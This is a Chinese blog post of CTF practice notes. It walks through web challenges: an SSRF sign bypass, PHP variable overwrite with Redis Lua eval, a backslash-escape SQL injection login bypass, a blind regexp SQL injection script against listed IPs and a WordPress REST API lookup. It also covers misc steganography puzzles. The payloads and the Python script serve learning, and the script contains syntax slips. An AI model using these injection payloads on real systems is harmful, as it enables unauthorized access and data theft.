CTF笔记(三)——练习赛1

内容纲要

周末事很多,就打了一个下午加一个晚上,不过就算给我再多时间估计也就这样了

WEB

SSRF ME

考点:SSRF?其实不过是in和==的区别
靶机:https://buuoj.cn/challenges#[De1CTF%202019]SSRF%20Me
参考链接:https://blog.csdn.net/weixin_43345082/article/details/103770950
Payload:

/geneSign?param=flag.txtread
/De1ta?param=flag.txt setcookie:{action:sign,Sign:上面返回的}

解析:

这道题关键时注意到他竟然不是检查sign的值是否等于,而是sign的值是否包含,真的神了!还可以拼接操作!!!
当然参考链接里还给出了哈希长度扩展攻击的方法,hashpump学习了!我原以为要找到两个MD5一样的字符串是一件很难的事呢。。。不过这个攻击的前提依旧是sign的检查用的是in而不是==

Luatic改

考点:变量覆盖+redis

靶机:暂无

参考链接:http://m0te.top/articles/HITCON%20%202019%20Quals/HITCON%20%202019%20Quals.html

Payload:

/?guess=1&_POST[MY_SET_COMMAND]=eval&_POST[TEST_KEY]=function%20math:random(v)%20return%202333%20end&_POST[TEST_VALUE]=0
​/?guess=2333 

解析:

这道题来了个Redis,头疼,硬着头皮去学,还用的是Lua脚本语言,学!诶!被我发现原题了,哈哈哈!
首先很明显是个变量覆盖,$$什么的,然后要解决result==guess的问题!我们要让return math.random返回一个固定的值!莫非能像pyhton一样把函数给覆盖了?还真的可以,而且全局重载了下次访问依旧是重载后的!感觉这个算是特性,还是缺陷啊?
所以前面的

$redis->rawCommand($MY_SET_COMMAND, $TEST_KEY, $TEST_VALUE);

正好可以利用一下,之前我还以为这个要写set a 0这种,不然这里就会die出去,但是试了一下

/?guess=1

结果发现!我捡了个漏!上一位大佬直接设置的1,被我给捡漏2333。
找练习出题的小伙伴重置一下后,可以看到回显的是最后一句die,说明这里他本来默认的get($TEST_KEY)就是等于$TEST_VALUE的。
所以我们可以放心大胆的来重载了
Lua脚本如下

Function math:random()
    return 1
End

用Redis的eval运行上面脚本的话

eval Function math:random() return 1 End 0

现在的目标就是要把eval给$MY_SET_COMMAND,把Function math:random() return 1 End给$TEST_KEY,把0给$TEST_VALUE
但是一来就preg_match了TEST_和MY_开头的变量,不过他有两步变量覆盖,所以可以第一步用GET把值赋给POST,第二步用POST再把值赋给目标变量,这样GET传过去_POST[目标变量]=值,就绕过了TEST_等开头匹配的过滤逻辑。

最后构造两步Payload,第一步覆盖random,第二步用guess获取flag

另外有另一种方式覆盖random这里不赘述,详见参考链接

SQL injection

考点:脑洞+绕过\’过滤

靶机:http://39.106.45.176/sandbox/test/

参考链接:https://www.cnblogs.com/islsy/p/10672000.html

Payload:

/?username=\\&password=or 1#

解析:

输入随便输入几组用户名密码会发现,他下面有一个整数会因为输入长度而改变,我们可以注意到输入\’,增加了6,可以猜到这个就是把\’给转义成了'
or没有被过滤可以发现,所以尝试转义掉sql语句中的第二个\’,注释掉最后一个\’,sql语句变成username=\’\\’ and password=\’#\’然后我们再接一个or 1上去就变成了了username=\’\\’ and password=\’or 1#\’,永真绕过!

SQLi

考点:盲注

靶机:无

参考链接:无

Payload:

import requests
url='http://47.240.43.170/index.php/'
def str2hex(string):
    c='0x'
    a=''
    for i in string:
        a+=hex(ord(i))
    return c+a.replace('0x','')
alphabet = ['!','[',']','{','}','_','/','-','&',%,'#','@','a','b','c','d','e','f','g','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']

flag='^'
for i in range(0,20):
    for y in alphabet:
        tmp=flag+y
        data = {
            "username": "admin\\",
            "password": "||password regexp binary {}#.format(str2hex(tmp))"
        }
        print(data['password'])
        x=requests.session()
        if 'needs' in x.post(url,data=data).text:
        #    print(x.post(url,data=data).text)
            flag=tmp
            break
    print(flag.replace(^,))

解析:不会,学习ing

猜猜加班到几点

考点:字典爆破+不知道

靶机:暂无

参考链接:无

Payload:无

解析:不会

easyjs

考点:RESTful API(其实会看js就行了)

靶机:暂不提供

参考链接:本文

Payload:

$.ajax({
    type: GET,
    url: api + wp-json/wp/v2/pages,
    dataType: json,
    success: function (json) {
        for (var i = 0; i < json.length; i++) {
            if(json[i].id==flag){
                console.log(json[i])
                break;
            }
        }
    }
})

解析:

这道题我出的。。。第一次出题,全场最水的题目2333。其实就是这两天做新主页用到了wordpress的RESTful API然后就把新主页拿来当题目了2333。真的很水的啊,直接把html和js里出现的所有本站的链接打开ctrl+f搜索flag就能出来的。。。

MISC

你要扫我吗

考点:zip伪加密+文件拼接隐写

题目:太简单了就不放了

解析:

拿到一个压缩包,去除伪加密,解压获得一个二维码,不要去扫没用的,直接当zip解压获得flag图片

大佬爱玩GTA

考点:GTA5 图片尺寸隐写+bpg图片格式+维吉尼亚密码

题目:https://www.jianguoyun.com/p/DbiRE-QQnNCABhiKk4ID

解析:

解压获得png,改png为zip,解压获得加密的flag.zip和被修改尺寸的png,编辑0x10-0x17的长宽后打开获得解压密码,解压flag.zip获得gta5.png,查找png文件尾发现后面多跟了3kb数据,提取发现是bpg格式的,从bpg的官网获取bpgview打开获得,加密后的flag和密钥,加密方式为维吉尼亚密码,就是位移加密。

不说点什么喵?

3 + 4 =

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据